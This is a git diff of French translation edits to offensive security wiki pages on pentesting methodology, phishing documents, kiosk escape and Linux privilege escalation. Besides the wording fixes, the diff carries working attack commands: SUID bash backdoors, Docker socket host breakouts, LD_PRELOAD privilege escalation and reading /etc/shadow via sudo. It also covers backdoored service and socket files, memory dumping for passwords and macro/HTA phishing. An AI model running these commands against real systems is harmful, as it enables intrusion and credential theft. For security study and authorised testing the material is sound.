utile](../generic-hacking/reverse-shells/index.html). +D'une manière ou d'une autre, vous devriez avoir trouvé **un moyen d'exécuter du code** sur la victime. Ensuite, [une liste des outils possibles à l'intérieur du système que vous pouvez utiliser pour obtenir un reverse shell serait très utile](../generic-hacking/reverse-shells/index.html). -Surtout sous Windows, vous pourriez avoir besoin d'aide pour **éviter les antivirus** : [**Vérifiez cette page**](../windows-hardening/av-bypass.md)**.**\\ +Surtout sous Windows, vous pourriez avoir besoin d'aide pour **éviter les antivirus** : [**Vérifiez cette page**](../windows-hardening/av-bypass.md)**.** ### 8- À l'intérieur @@ -71,7 +71,7 @@ Si vous avez des problèmes avec le shell, vous pouvez trouver ici une petite ** ### **9 -** [**Exfiltration**](../generic-hacking/exfiltration.md) -Vous aurez probablement besoin d'**extraire des données de la victime** ou même d'**introduire quelque chose** (comme des scripts d'escalade de privilèges). **Ici, vous avez un** [**post sur les outils courants que vous pouvez utiliser à ces fins**](../generic-hacking/exfiltration.md)**.** +Vous aurez probablement besoin d'**extraire des données de la victime** ou même **d'introduire quelque chose** (comme des scripts d'escalade de privilèges). **Ici, vous avez un** [**post sur les outils courants que vous pouvez utiliser à ces fins**](../generic-hacking/exfiltration.md)**.** ### **10- Escalade de Privilèges** @@ -110,7 +110,7 @@ TODO: Compléter la persistance Post sous Windows & Linux Avec les **identifiants recueillis**, vous pourriez avoir accès à d'autres machines, ou peut-être devez-vous **découvrir et scanner de nouveaux hôtes** (redémarrer la méthodologie de Pentesting) à l'intérieur de nouveaux réseaux où votre victime est connectée.\ Dans ce cas, le tunneling pourrait être nécessaire. Ici, vous pouvez trouver [**un post parlant de tunneling**](../generic-hacking/tunneling-and-port-forwarding.md).\ -Vous devriez également consulter le post sur [la méthodologie de pentesting Active Directory](../windows-hardening/active-directory-methodology/index.html). Là, vous trouverez des astuces intéressantes pour se déplacer latéralement, escalader les privilèges et dump des identifiants.\ +Vous devriez également consulter le post sur la [méthodologie de pentesting Active Directory](../windows-hardening/active-directory-methodology/index.html). Vous y trouverez des astuces intéressantes pour se déplacer latéralement, escalader les privilèges et dump des identifiants.\ Vérifiez également la page sur [**NTLM**](../windows-hardening/ntlm/index.html), cela pourrait être très utile pour pivoter dans des environnements Windows. ### PLUS diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index af2600d42..43b502ccd 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -6,7 +6,7 @@ Microsoft Word effectue une validation des données de fichier avant d'ouvrir un fichier. La validation des données est effectuée sous la forme d'identification de la structure des données, conformément à la norme OfficeOpenXML. Si une erreur se produit lors de l'identification de la structure des données, le fichier analysé ne sera pas ouvert. -En général, les fichiers Word contenant des macros utilisent l'extension `.docm`. Cependant, il est possible de renommer le fichier en changeant l'extension de fichier tout en conservant ses capacités d'exécution de macro.\ +En général, les fichiers Word contenant des macros utilisent l'extension `.docm`. Cependant, il est possible de renommer le fichier en changeant l'extension du fichier tout en conservant ses capacités d'exécution de macro.\ Par exemple, un fichier RTF ne prend pas en charge les macros, par conception, mais un fichier DOCM renommé en RTF sera traité par Microsoft Word et sera capable d'exécuter des macros.\ Les mêmes mécanismes internes s'appliquent à tous les logiciels de la suite Microsoft Office (Excel, PowerPoint, etc.). @@ -19,7 +19,7 @@ Fichiers DOCX faisant référence à un modèle distant (Fichier – Options – ### Chargement d'image externe Allez à : _Insérer --> Éléments rapides --> Champ_\ -&#xNAN;_**Catégories** : Liens et références, **Noms de champ** : includePicture, et **Nom de fichier ou URL** :_ http://\/whatever +_**Catégories** : Liens et références, **Noms de champ** : includePicture, et **Nom de fichier ou URL** :_ http://\/whatever ![](<../../images/image (155).png>) @@ -83,7 +83,7 @@ Faites cela parce que vous **ne pouvez pas enregistrer de macros dans un `.docx` Un HTA est un programme Windows qui **combine HTML et langages de script (comme VBScript et JScript)**. Il génère l'interface utilisateur et s'exécute en tant qu'application "entièrement fiable", sans les contraintes du modèle de sécurité d'un navigateur. -Un HTA est exécuté en utilisant **`mshta.exe`**, qui est généralement **installé** avec **Internet Explorer**, rendant **`mshta` dépendant d'IE**. Donc, s'il a été désinstallé, les HTA ne pourront pas s'exécuter. +Un HTA est exécuté à l'aide de **`mshta.exe`**, qui est généralement **installé** avec **Internet Explorer**, rendant **`mshta` dépendant d'IE**. Donc, s'il a été désinstallé, les HTA ne pourront pas s'exécuter. ```html <--! Basic HTA Execution --> @@ -140,7 +140,7 @@ self.close ``` ## Forcer l'authentification NTLM -Il existe plusieurs façons de **forcer l'authentification NTLM "à distance"**, par exemple, vous pourriez ajouter des **images invisibles** dans des e-mails ou du HTML que l'utilisateur accédera (même HTTP MitM ?). Ou envoyer à la victime l'**adresse des fichiers** qui **déclencheront** une **authentification** juste pour **ouvrir le dossier.** +Il existe plusieurs façons de **forcer l'authentification NTLM "à distance"**, par exemple, vous pourriez ajouter des **images invisibles** dans des e-mails ou du HTML que l'utilisateur va accéder (même HTTP MitM ?). Ou envoyer à la victime l'**adresse des fichiers** qui vont **déclencher** une **authentification** juste pour **ouvrir le dossier.** **Vérifiez ces idées et plus dans les pages suivantes :** diff --git a/src/hardware-physical-access/escaping-from-gui-applications.md b/src/hardware-physical-access/escaping-from-gui-applications.md index c0e30c137..de2e67a02 100644 --- a/src/hardware-physical-access/escaping-from-gui-applications.md +++ b/src/hardware-physical-access/escaping-from-gui-applications.md @@ -8,8 +8,8 @@ | Composant | Action | | ------------- | ------------------------------------------------------------------- | -| Bouton d'alimentation | Éteindre et rallumer le dispositif peut exposer l'écran de démarrage | -| Câble d'alimentation | Vérifiez si le dispositif redémarre lorsque l'alimentation est coupée brièvement | +| Bouton d'alimentation | Éteindre et rallumer l'appareil peut exposer l'écran de démarrage | +| Câble d'alimentation | Vérifiez si l'appareil redémarre lorsque l'alimentation est coupée brièvement | | Ports USB | Connectez un clavier physique avec plus de raccourcis | | Ethernet | Un scan réseau ou un sniffing peut permettre une exploitation supplémentaire | @@ -50,7 +50,7 @@ _bash, sh, zsh..._ Plus ici : [https://gtfobins.github.io/](https://gtfobins.git - **Variables d'environnement** : Il existe de nombreuses variables d'environnement qui pointent vers un certain chemin - **Autres protocoles** : _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ - **Liens symboliques** -- **Raccourcis** : CTRL+N (ouvrir une nouvelle session), CTRL+R (Exécuter des commandes), CTRL+SHIFT+ESC (Gestionnaire des tâches), Windows+E (ouvrir l'explorateur), CTRL-B, CTRL-I (Favoris), CTRL-H (Historique), CTRL-L, CTRL-O (Fichier/Ouvrir), CTRL-P (Dialogue d'impression), CTRL-S (Enregistrer sous) +- **Raccourcis** : CTRL+N (ouvrir une nouvelle session), CTRL+R (Exécuter des commandes), CTRL+SHIFT+ESC (Gestionnaire des tâches), Windows+E (ouvrir l'explorateur), CTRL-B, CTRL-I (Favoris), CTRL-H (Historique), CTRL-L, CTRL-O (Dialogue Fichier/Ouvrir), CTRL-P (Dialogue Imprimer), CTRL-S (Enregistrer sous) - Menu Administratif caché : CTRL-ALT-F8, CTRL-ESC-F9 - **URI Shell** : _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_ - **Chemins UNC** : Chemins pour se connecter à des dossiers partagés. Vous devriez essayer de vous connecter au C$ de la machine locale ("\\\127.0.0.1\c$\Windows\System32") @@ -76,19 +76,19 @@ Explorer : [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/] ### Accéder au système de fichiers depuis le navigateur -| CHEMIN | CHEMIN | CHEMIN | CHEMIN | -| ------------------- | ----------------- | ------------------ | ------------------- | -| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows | -| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ | -| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ | -| C:/windows | C:/windows/ | C:/windows\\ | C:\windows | -| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% | -| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% | -| %HOMEDRIVE% | %HOMESHARE | |


| +| CHEMIN | CHEMIN | CHEMIN | CHEMIN | +| ------------------- | ------------------ | ------------------- | -------------------- | +| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows | +| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ | +| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ | +| C:/windows | C:/windows/ | C:/windows\\ | C:\windows | +| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% | +| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% | +| %HOMEDRIVE% | %HOMESHARE | |


| ### Raccourcis -- Touches collantes – Appuyez sur SHIFT 5 fois +- Touches de maintien – Appuyez sur SHIFT 5 fois - Touches de souris – SHIFT+ALT+NUMLOCK - Contraste élevé – SHIFT+ALT+PRINTSCN - Touches de basculement – Maintenez NUMLOCK pendant 5 secondes @@ -122,7 +122,7 @@ Explorer : [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/] #### 'Barre d'outils d'image' -C'est une barre d'outils qui apparaît en haut à gauche de l'image lorsqu'elle est cliquée. Vous pourrez Enregistrer, Imprimer, Mailto, Ouvrir "Mes images" dans l'Explorateur. Le Kiosk doit utiliser Internet Explorer. +C'est une barre d'outils qui apparaît en haut à gauche de l'image lorsqu'elle est cliquée. Vous pourrez Enregistrer, Imprimer, Mailto, Ouvrir "Mes images" dans l'explorateur. Le Kiosk doit utiliser Internet Explorer. #### Protocole Shell @@ -152,14 +152,14 @@ Tapez ces URL pour obtenir une vue Explorer : ### Afficher les extensions de fichier -Vérifiez cette page pour plus d'informations : [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml) +Consultez cette page pour plus d'informations : [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml) ## Astuces pour les navigateurs Versions de sauvegarde d'iKat : [http://swin.es/k/](http://swin.es/k/)\ -[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\ +[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net) Créez un dialogue commun en utilisant JavaScript et accédez à l'explorateur de fichiers : `document.write('')`\ Source : https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 @@ -182,7 +182,7 @@ Source : https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de198 ### Raccourcis -Vous devriez avoir un clavier iPad ou un adaptateur de clavier USB. Seuls les raccourcis qui pourraient aider à échapper à l'application seront montrés ici. +Vous devriez avoir un clavier iPad ou un adaptateur de clavier USB. Seuls les raccourcis qui pourraient aider à échapper à l'application seront affichés ici. | Touche | Nom | | ------ | ------------ | @@ -207,10 +207,10 @@ Ces raccourcis sont pour les paramètres visuels et sonores, selon l'utilisation | F2 | Augmenter l'écran | | F7 | Reculer d'une chanson | | F8 | Lecture/pause | -| F9 | Passer une chanson | -| F10 | Couper | -| F11 | Diminuer le volume | -| F12 | Augmenter le volume | +| F9 | Passer à la chanson suivante | +| F10 | Couper le son | +| F11 | Diminuer le volume | +| F12 | Augmenter le volume | | ⌘ Espace | Afficher une liste de langues disponibles ; pour en choisir une, appuyez à nouveau sur la barre d'espace. | #### Navigation sur iPad @@ -224,18 +224,18 @@ Ces raccourcis sont pour les paramètres visuels et sonores, selon l'utilisation | ⌘\~ | Aller à la dernière application | | ⌘⇧3 (Commande-Shift-3) | Capture d'écran (flotte en bas à gauche pour enregistrer ou agir dessus) | | ⌘⇧4 | Capture d'écran et l'ouvrir dans l'éditeur | -| Appuyez et maintenez ⌘ | Liste des raccourcis disponibles pour l'application | +| Appuyez et maintenez ⌘ | Liste des raccourcis disponibles pour l'application | | ⌘⌥D (Commande-Option/Alt-D) | Affiche le dock | | ^⌥H (Contrôle-Option-H) | Bouton d'accueil | | ^⌥H H (Contrôle-Option-H-H) | Afficher la barre multitâche | | ^⌥I (Contrôle-Option-i) | Choix d'éléments | -| Échap | Bouton de retour | +| Échap | Bouton retour | | → (Flèche droite) | Élément suivant | | ← (Flèche gauche) | Élément précédent | | ↑↓ (Flèche haut, Flèche bas) | Appuyez simultanément sur l'élément sélectionné | | ⌥ ↓ (Option-Flèche bas) | Faire défiler vers le bas | | ⌥↑ (Option-Flèche haut) | Faire défiler vers le haut | -| ⌥← ou ⌥→ (Option-Flèche gauche ou Option-Flèche droite) | Faire défiler à gauche ou à droite | +| ⌥← ou ⌥→ (Option-Flèche gauche ou Option-Flèche droite) | Faire défiler à gauche ou à droite | | ^⌥S (Contrôle-Option-S) | Activer ou désactiver la synthèse vocale | | ⌘⇧⇥ (Commande-Shift-Tab) | Passer à l'application précédente | | ⌘⇥ (Commande-Tab) | Revenir à l'application d'origine | diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index b06042850..28d8fc40d 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### Infos sur le système d'exploitation -Commençons par acquérir des connaissances sur le système d'exploitation en cours d'exécution. +Commençons par acquérir des connaissances sur le système d'exploitation en cours d'exécution ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -18,7 +18,7 @@ Si vous **avez des permissions d'écriture sur un dossier à l'intérieur de la ```bash echo $PATH ``` -### Infos sur l'environnement +### Env info Informations intéressantes, mots de passe ou clés API dans les variables d'environnement ? ```bash @@ -144,7 +144,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Vérifiez également si **un compilateur est installé**. Cela est utile si vous devez utiliser une exploitation de noyau, car il est recommandé de le compiler sur la machine où vous allez l'utiliser (ou sur une machine similaire). +Vérifiez également si **un compilateur est installé**. Cela est utile si vous devez utiliser une exploitation de noyau, car il est recommandé de la compiler sur la machine où vous allez l'utiliser (ou sur une machine similaire). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` @@ -156,7 +156,7 @@ Il est recommandé de vérifier manuellement la version des logiciels installés dpkg -l #Debian rpm -qa #Centos ``` -Si vous avez accès SSH à la machine, vous pouvez également utiliser **openVAS** pour vérifier les logiciels obsolètes et vulnérables installés sur la machine. +Si vous avez un accès SSH à la machine, vous pouvez également utiliser **openVAS** pour vérifier les logiciels obsolètes et vulnérables installés sur la machine. > [!NOTE] > _Notez que ces commandes afficheront beaucoup d'informations qui seront principalement inutiles, il est donc recommandé d'utiliser des applications comme OpenVAS ou similaires qui vérifieront si une version de logiciel installée est vulnérable à des exploits connus._ @@ -281,7 +281,7 @@ Si vous constatez que le processus d'authentification est en cours d'exécution ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Vous pouvez extraire le processus (voir les sections précédentes pour trouver différentes façons d'extraire la mémoire d'un processus) et rechercher des identifiants à l'intérieur de la mémoire : +Vous pouvez dumper le processus (voir les sections précédentes pour trouver différentes façons de dumper la mémoire d'un processus) et rechercher des identifiants à l'intérieur de la mémoire : ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password @@ -313,9 +313,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Tâches planifiées/Cron +## Scheduled/Cron jobs -Vérifiez si une tâche planifiée est vulnérable. Peut-être pouvez-vous tirer parti d'un script exécuté par root (vulnérabilité par joker ? peut modifier des fichiers utilisés par root ? utiliser des liens symboliques ? créer des fichiers spécifiques dans le répertoire utilisé par root ?). +Vérifiez si un travail planifié est vulnérable. Peut-être pouvez-vous tirer parti d'un script exécuté par root (vulnérabilité par joker ? peut modifier des fichiers utilisés par root ? utiliser des liens symboliques ? créer des fichiers spécifiques dans le répertoire utilisé par root ?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -356,7 +356,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Si le script exécuté par root utilise un **répertoire où vous avez un accès complet**, il pourrait être utile de supprimer ce dossier et **de créer un dossier de symlink vers un autre** servant un script contrôlé par vous. +Si le script exécuté par root utilise un **répertoire où vous avez un accès complet**, il pourrait être utile de supprimer ce dossier et **de créer un dossier de lien symbolique vers un autre** servant un script contrôlé par vous. ```bash ln -d -s ``` @@ -380,7 +380,7 @@ Il est possible de créer un cronjob **en mettant un retour chariot après un co ### Fichiers _.service_ modifiables -Vérifiez si vous pouvez écrire dans un fichier `.service`, si c'est le cas, vous **pourriez le modifier** pour qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (peut-être devrez-vous attendre que la machine redémarre).\ +Vérifiez si vous pouvez écrire dans un fichier `.service`, si c'est le cas, vous **pourriez le modifier** pour qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (vous devrez peut-être attendre que la machine redémarre).\ Par exemple, créez votre backdoor à l'intérieur du fichier .service avec **`ExecStart=/tmp/script.sh`** ### Binaires de service modifiables @@ -413,7 +413,7 @@ systemctl list-timers --all ``` ### Timers modifiables -Si vous pouvez modifier un timer, vous pouvez le faire exécuter certaines instances de systemd.unit (comme un `.service` ou un `.target`) +Si vous pouvez modifier un minuteur, vous pouvez le faire exécuter certaines instances de systemd.unit (comme un `.service` ou un `.target`) ```bash Unit=backdoor.service ``` @@ -428,7 +428,7 @@ Par conséquent, pour abuser de cette permission, vous devez : **En savoir plus sur les minuteurs avec `man systemd.timer`.** -### **Activation du minuteur** +### **Activation du Minuteur** Pour activer un minuteur, vous avez besoin de privilèges root et d'exécuter : ```bash @@ -439,13 +439,13 @@ Notez que le **timer** est **activé** en créant un lien symbolique vers celui- ## Sockets -Les Unix Domain Sockets (UDS) permettent la **communication entre processus** sur les mêmes machines ou sur des machines différentes dans des modèles client-serveur. Ils utilisent des fichiers de descripteur Unix standard pour la communication inter-ordinateur et sont configurés via des fichiers `.socket`. +Les Unix Domain Sockets (UDS) permettent la **communication entre processus** sur les mêmes machines ou différentes dans des modèles client-serveur. Ils utilisent des fichiers de descripteur Unix standard pour la communication inter-ordinateur et sont configurés via des fichiers `.socket`. Les sockets peuvent être configurés à l'aide de fichiers `.socket`. **En savoir plus sur les sockets avec `man systemd.socket`.** Dans ce fichier, plusieurs paramètres intéressants peuvent être configurés : -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction` : Ces options sont différentes mais un résumé est utilisé pour **indiquer où il va écouter** le socket (le chemin du fichier de socket AF_UNIX, l'IPv4/6 et/ou le numéro de port à écouter, etc.) +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction` : Ces options sont différentes mais un résumé est utilisé pour **indiquer où il va écouter** le socket (le chemin du fichier socket AF_UNIX, l'IPv4/6 et/ou le numéro de port à écouter, etc.) - `Accept` : Prend un argument booléen. Si **vrai**, une **instance de service est créée pour chaque connexion entrante** et seul le socket de connexion lui est passé. Si **faux**, tous les sockets d'écoute eux-mêmes sont **passés à l'unité de service démarrée**, et une seule unité de service est créée pour toutes les connexions. Cette valeur est ignorée pour les sockets datagram et les FIFOs où une seule unité de service gère inconditionnellement tout le trafic entrant. **Par défaut, c'est faux**. Pour des raisons de performance, il est recommandé d'écrire de nouveaux démons uniquement d'une manière qui convient à `Accept=no`. - `ExecStartPre`, `ExecStartPost` : Prend une ou plusieurs lignes de commande, qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs d'écoute soient **créés** et liés, respectivement. Le premier token de la ligne de commande doit être un nom de fichier absolu, suivi d'arguments pour le processus. - `ExecStopPre`, `ExecStopPost` : Commandes supplémentaires qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs d'écoute soient **fermés** et supprimés, respectivement. @@ -454,13 +454,13 @@ Les sockets peuvent être configurés à l'aide de fichiers `.socket`. ### Fichiers .socket écrits Si vous trouvez un fichier `.socket` **écrit**, vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et la porte dérobée sera exécutée avant que le socket ne soit créé. Par conséquent, vous devrez **probablement attendre que la machine redémarre.**\ -&#xNAN;_Notez que le système doit utiliser cette configuration de fichier socket ou la porte dérobée ne sera pas exécutée_ +_Notez que le système doit utiliser cette configuration de fichier socket ou la porte dérobée ne sera pas exécutée_ ### Sockets écrits -Si vous **identifiez un socket écrivable** (_nous parlons maintenant des Unix Sockets et non des fichiers de config `.socket`_), alors **vous pouvez communiquer** avec ce socket et peut-être exploiter une vulnérabilité. +Si vous **identifiez un socket écrivable** (_nous parlons maintenant des Sockets Unix et non des fichiers de config `.socket`_), alors **vous pouvez communiquer** avec ce socket et peut-être exploiter une vulnérabilité. -### Énumérer les Unix Sockets +### Énumérer les Sockets Unix ```bash netstat -a -p --unix ``` @@ -489,20 +489,20 @@ Si le socket **répond avec une requête HTTP**, alors vous pouvez **communiquer ### Socket Docker Écrivable -Le socket Docker, souvent trouvé à `/var/run/docker.sock`, est un fichier critique qui doit être sécurisé. Par défaut, il est écrivable par l'utilisateur `root` et les membres du groupe `docker`. Posséder un accès en écriture à ce socket peut conduire à une élévation de privilèges. Voici un aperçu de la façon dont cela peut être fait et des méthodes alternatives si le CLI Docker n'est pas disponible. +Le socket Docker, souvent trouvé à `/var/run/docker.sock`, est un fichier critique qui doit être sécurisé. Par défaut, il est écrivable par l'utilisateur `root` et les membres du groupe `docker`. Posséder un accès en écriture à ce socket peut conduire à une élévation de privilèges. Voici un aperçu de la façon dont cela peut être fait et des méthodes alternatives si le Docker CLI n'est pas disponible. -#### **Élévation de Privilèges avec le CLI Docker** +#### **Élévation de Privilèges avec Docker CLI** Si vous avez un accès en écriture au socket Docker, vous pouvez élever les privilèges en utilisant les commandes suivantes : ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Ces commandes vous permettent d'exécuter un conteneur avec un accès au niveau root au système de fichiers de l'hôte. +Ces commandes vous permettent d'exécuter un conteneur avec un accès de niveau root au système de fichiers de l'hôte. #### **Utilisation directe de l'API Docker** -Dans les cas où le CLI Docker n'est pas disponible, le socket Docker peut toujours être manipulé en utilisant l'API Docker et des commandes `curl`. +Dans les cas où le Docker CLI n'est pas disponible, le socket Docker peut toujours être manipulé en utilisant l'API Docker et des commandes `curl`. 1. **Lister les images Docker :** Récupérer la liste des images disponibles. @@ -532,7 +532,7 @@ Connection: Upgrade Upgrade: tcp ``` -Après avoir configuré la connexion `socat`, vous pouvez exécuter des commandes directement dans le conteneur avec un accès au niveau root au système de fichiers de l'hôte. +Après avoir configuré la connexion `socat`, vous pouvez exécuter des commandes directement dans le conteneur avec un accès de niveau root au système de fichiers de l'hôte. ### Autres @@ -687,8 +687,8 @@ Si vous **connaissez un mot de passe** de l'environnement, **essayez de vous con ### Su Brute -Si vous ne vous souciez pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur l'ordinateur, vous pouvez essayer de forcer le mot de passe des utilisateurs en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie également de forcer le mot de passe des utilisateurs. +Si vous ne vous souciez pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur l'ordinateur, vous pouvez essayer de brute-forcer l'utilisateur en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie également de brute-forcer les utilisateurs. ## Abus de PATH écrivable @@ -753,7 +753,7 @@ Si un **wildcard** est utilisé (\*), c'est encore plus facile : sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**Contre-mesures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**Contre-mesures** : [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) ### Commande Sudo/Binaire SUID sans chemin de commande @@ -776,13 +776,13 @@ Par exemple, si un binaire suid appelle _**/usr/sbin/service apache2 start**_, v function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Alors, lorsque vous appelez le binaire suid, cette fonction sera exécutée +Ensuite, lorsque vous appelez le binaire suid, cette fonction sera exécutée ### LD_PRELOAD & **LD_LIBRARY_PATH** La variable d'environnement **LD_PRELOAD** est utilisée pour spécifier une ou plusieurs bibliothèques partagées (.so files) à charger par le chargeur avant toutes les autres, y compris la bibliothèque C standard (`libc.so`). Ce processus est connu sous le nom de préchargement d'une bibliothèque. -Cependant, pour maintenir la sécurité du système et empêcher cette fonctionnalité d'être exploitée, en particulier avec les exécutables **suid/sgid**, le système impose certaines conditions : +Cependant, pour maintenir la sécurité du système et empêcher cette fonctionnalité d'être exploitée, en particulier avec des exécutables **suid/sgid**, le système impose certaines conditions : - Le chargeur ignore **LD_PRELOAD** pour les exécutables où l'identifiant utilisateur réel (_ruid_) ne correspond pas à l'identifiant utilisateur effectif (_euid_). - Pour les exécutables avec suid/sgid, seules les bibliothèques dans des chemins standards qui sont également suid/sgid sont préchargées. @@ -814,7 +814,7 @@ Enfin, **escalader les privilèges** en exécutant sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Une privesc similaire peut être exploitée si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH** car il contrôle le chemin où les bibliothèques vont être recherchées. +> Une privesc similaire peut être abusée si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH** car il contrôle le chemin où les bibliothèques vont être recherchées. ```c #include #include @@ -1078,11 +1078,11 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ## Ouvrir des sessions shell Dans les **anciennes versions**, vous pouvez **dérober** certaines sessions **shell** d'un autre utilisateur (**root**).\ -Dans les **dernières versions**, vous ne pourrez **vous connecter** qu'aux sessions screen de **votre propre utilisateur**. Cependant, vous pourriez trouver **des informations intéressantes à l'intérieur de la session**. +Dans les **dernières versions**, vous ne pourrez **vous connecter** qu'aux sessions d'écran de **votre propre utilisateur**. Cependant, vous pourriez trouver **des informations intéressantes à l'intérieur de la session**. -### Détournement de sessions screen +### Détournement de sessions d'écran -**Lister les sessions screen** +**Lister les sessions d'écran** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1117,7 +1117,7 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Vérifiez la **boîte de Saint-Valentin de HTB** pour un exemple. +Vérifiez **Valentine box from HTB** pour un exemple. ## SSH @@ -1143,7 +1143,7 @@ Spécifie si root peut se connecter en utilisant ssh, la valeur par défaut est ### AuthorizedKeysFile -Spécifie les fichiers qui contiennent les clés publiques pouvant être utilisées pour l'authentification des utilisateurs. Il peut contenir des jetons comme `%h`, qui seront remplacés par le répertoire personnel. **Vous pouvez indiquer des chemins absolus** (commençant par `/`) ou **des chemins relatifs depuis le répertoire personnel de l'utilisateur**. Par exemple : +Spécifie les fichiers qui contiennent les clés publiques pouvant être utilisées pour l'authentification des utilisateurs. Il peut contenir des tokens comme `%h`, qui seront remplacés par le répertoire personnel. **Vous pouvez indiquer des chemins absolus** (commençant par `/`) ou **des chemins relatifs depuis le répertoire personnel de l'utilisateur**. Par exemple : ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` @@ -1158,10 +1158,10 @@ Vous devez définir cette option dans `$HOME/.ssh.config` comme ceci : Host example.com ForwardAgent yes ``` -Remarquez que si `Host` est `*`, chaque fois que l'utilisateur passe à une autre machine, cet hôte pourra accéder aux clés (ce qui pose un problème de sécurité). +Remarquez que si `Host` est `*`, chaque fois que l'utilisateur passe à une autre machine, cet hôte pourra accéder aux clés (ce qui est un problème de sécurité). Le fichier `/etc/ssh_config` peut **remplacer** ces **options** et autoriser ou interdire cette configuration.\ -Le fichier `/etc/sshd_config` peut **autoriser** ou **interdire** le transfert de l'agent ssh avec le mot-clé `AllowAgentForwarding` (la valeur par défaut est autorisée). +Le fichier 